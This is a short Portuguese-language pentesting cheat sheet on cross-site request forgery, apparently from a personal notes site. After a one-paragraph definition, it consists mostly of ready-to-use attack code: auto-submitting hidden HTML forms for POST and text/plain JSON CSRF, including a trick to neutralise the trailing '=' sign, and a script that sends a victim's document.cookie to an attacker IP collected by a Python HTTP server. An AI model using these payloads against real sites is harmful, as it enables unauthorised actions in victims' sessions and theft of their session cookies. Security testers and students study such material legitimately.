CSRF

O CSRF (Cross-Site Request Forgery ou Falsificação de Requisição entre sites) é um tipo de ataque que se aproveita das sessões autenticadas dos usuários em aplicativos WEB. Tirando proveito da sessão já estabelecida, o invasor pode, por exemplo, inserir URL com parâmetros maliciosos em imagens e fazer com que a vítima faça algo sem o seu conhecimento.

Auto Submit

Útil quando fizer o alvo clicar em algo ou carregar algum conteúdo externo automaticamente.

POST com Formulário Comum

<html>
	<body onload="document.getElementById('csrf').submit()">
		<form id="csrf" action="http://ptl-409a305a-0389da50.libcurl.so/share" method="POST">
			<input name="user" type="hidden" value="<user>" >
			<input name="pass" type="hidden" value="<pass>" >
		</form>
	</body>
</html>

Post JSON

Note que há o parâmetro fake e um value com o valor "}, isso é preciso pois será preciso fazer um bypass no sinal de = que é inserido no final. Note também que não estamos passando um application/json, mas sim um text/plain.

<html>
	<body onload="document.getElementById('csrf').submit()">
		<form id="csrf" action="http://<hacker_site>" method="POST" enctype="text/plain">
			<input name='{"user":"<user>","pass":"<pass>","fake":"' value='"}' >
		</form>
	</body>
</html>

Pegando Cookies

Execute no host atacante:

python -m SimpleHTTPServer

Execute no host alvo:

<script> var xmlHttp = new XMLHttpRequest();
    xmlHttp.open( "GET", "http://<ip_atacante>/?cookie=" + document.cookie, false ); 
    xmlHttp.send( null );
    xmlHttp.responseText;
</script>

Last updated